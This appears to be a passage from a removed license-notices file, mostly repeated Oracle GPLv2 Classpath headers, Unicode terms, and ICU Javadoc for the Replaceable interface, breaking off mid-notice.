--------------------------------------------------------------------
-
-Copyright (c) 1999, 2006, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1999, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2000, 2006, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2000, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2001, 2006, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2005, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2003, 2006, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2003, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2003, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-<?xml version="1.0" encoding="UTF-8"?>
-
-<!--
- Copyright (c) 2003, Oracle and/or its affiliates. All rights reserved.
- DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
- This code is free software; you can redistribute it and/or modify it
- under the terms of the GNU General Public License version 2 only, as
- published by the Free Software Foundation.  Oracle designates this
- particular file as subject to the "Classpath" exception as provided
- by Oracle in the LICENSE file that accompanied this code.
-
- This code is distributed in the hope that it will be useful, but WITHOUT
- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
- FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
- version 2 for more details (a copy is included in the LICENSE file that
- accompanied this code).
-
- You should have received a copy of the GNU General Public License version
- 2 along with this work; if not, write to the Free Software Foundation,
- Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
- Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
- or visit www.oracle.com if you need additional information or have any
- questions.
-
--------------------------------------------------------------------
-
-<?xml version="1.0"?>
-
-<!--
- Copyright (c) 2003, Oracle and/or its affiliates. All rights reserved.
- DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
- This code is free software; you can redistribute it and/or modify it
- under the terms of the GNU General Public License version 2 only, as
- published by the Free Software Foundation.  Oracle designates this
- particular file as subject to the "Classpath" exception as provided
- by Oracle in the LICENSE file that accompanied this code.
-
- This code is distributed in the hope that it will be useful, but WITHOUT
- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
- FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
- version 2 for more details (a copy is included in the LICENSE file that
- accompanied this code).
-
- You should have received a copy of the GNU General Public License version
- 2 along with this work; if not, write to the Free Software Foundation,
- Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
- Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
- or visit www.oracle.com if you need additional information or have any
- questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1998, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-<code>Replaceable</code> is an interface representing a
-string of characters that supports the replacement of a range of
-itself with a new string of characters.  It is used by APIs that
-change a piece of text while retaining metadata.  Metadata is data
-other than the Unicode characters returned by char32At().  One
-example of metadata is style attributes; another is an edit
-history, marking each character with an author and revision number.
-
-<p>An implicit aspect of the <code>Replaceable</code> API is that
-during a replace operation, new characters take on the metadata of
-the old characters.  For example, if the string "the <b>bold</b>
-font" has range (4, 8) replaced with "strong", then it becomes "the
-<b>strong</b> font".
-
-<p><code>Replaceable</code> specifies ranges using a start
-offset and a limit offset.  The range of characters thus specified
-includes the characters at offset start..limit-1.  That is, the
-start offset is inclusive, and the limit offset is exclusive.
-
-<p><code>Replaceable</code> also includes API to access characters
-in the string: <code>length()</code>, <code>charAt()</code>,
-<code>char32At()</code>, and <code>extractBetween()</code>.
-
-<p>For a subclass to support metadata, typical behavior of
-<code>replace()</code> is the following:
-<ul>
-  <li>Set the metadata of the new text to the metadata of the first
-  character replaced</li>
-  <li>If no characters are replaced, use the metadata of the
-  previous character</li>
-  <li>If there is no previous character (i.e. start == 0), use the
-  following character</li>
-  <li>If there is no following character (i.e. the replaceable was
-  empty), use default metadata<br>
-  <li>If the code point U+FFFF is seen, it should be interpreted as
-  a special marker having no metadata<li>
-  </li>
-</ul>
-If this is not the behavior, the subclass should document any differences.
-
-<p>Copyright &copy; IBM Corporation 1999.  All rights reserved.
-
-@author Alan Liu
-@stable ICU 2.0
-
--------------------------------------------------------------------
-
-<code>ReplaceableString</code> is an adapter class that implements the
-<code>Replaceable</code> API around an ordinary <code>StringBuffer</code>.
-
-<p><em>Note:</em> This class does not support attributes and is not
-intended for general use.  Most clients will need to implement
-{@link Replaceable} in their text representation class.
-
-<p>Copyright &copy; IBM Corporation 1999.  All rights reserved.
-
-@see Replaceable
-@author Alan Liu
-@stable ICU 2.0
-
--------------------------------------------------------------------
-
-Copyright (C) 1991-2007 Unicode, Inc. All rights reserved.
-Distributed under the Terms of Use in http://www.unicode.org/copyright.html.
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of the Unicode data files and any associated documentation (the "Data
-Files") or Unicode software and any associated documentation (the
-"Software") to deal in the Data Files or Software without restriction,
-including without limitation the rights to use, copy, modify, merge,
-publish, distribute, and/or sell copies of the Data Files or Software, and
-to permit persons to whom the Data Files or Software are furnished to do
-so, provided that (a) the above copyright notice(s) and this permission
-notice appear with all copies of the Data Files or Software, (b) both the
-above copyright notice(s) and this permission notice appear in associated
-documentation, and (c) there is clear notice in each modified Data File or
-in the Software as well as in the documentation associated with the Data
-File(s) or Software that the data or software has been modified.
-
-THE DATA FILES AND SOFTWARE ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
-KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF
-THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR HOLDERS
-INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL INDIRECT OR
-CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF
-USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER
-TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
-PERFORMANCE OF THE DATA FILES OR SOFTWARE.
-
-Except as contained in this notice, the name of a copyright holder shall not
-be used in advertising or otherwise to promote the sale, use or other
-dealings in these Data Files or Software without prior written
-authorization of the copyright holder.
-
-
-Generated automatically from the Common Locale Data Repository. DO NOT EDIT!
-
--------------------------------------------------------------------
-
-Copyright (C) 1991-2011 Unicode, Inc. All rights reserved.
-Distributed under the Terms of Use in http://www.unicode.org/copyright.html.
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of the Unicode data files and any associated documentation (the
-"Data Files") or Unicode software and any associated documentation
-(the "Software") to deal in the Data Files or Software without
-restriction, including without limitation the rights to use, copy,
-modify, merge, publish, distribute, and/or sell copies of the Data
-Files or Software, and to permit persons to whom the Data Files or
-Software are furnished to do so, provided that (a) the above copyright
-notice(s) and this permission notice appear with all copies of the
-Data Files or Software, (b) both the above copyright notice(s) and
-this permission notice appear in associated documentation, and (c)
-there is clear notice in each modified Data File or in the Software as
-well as in the documentation associated with the Data File(s) or
-Software that the data or software has been modified.
-
-THE DATA FILES AND SOFTWARE ARE PROVIDED "AS IS", WITHOUT WARRANTY OF
-ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
-WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT
-HOLDER OR HOLDERS INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, OR
-ANY SPECIAL INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES
-WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
-ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT
-OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THE DATA FILES OR
-SOFTWARE.
-
-Except as contained in this notice, the name of a copyright holder
-shall not be used in advertising or otherwise to promote the sale, use
-or other dealings in these Data Files or Software without prior
-written authorization of the copyright holder.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1994, 2006, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1994, 2008, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1994, 2009, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1994, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1994, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1994, 2013, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1995, 2000, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1995, 2006, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1995, 2007, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1995, 2008, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1995, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 1995, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
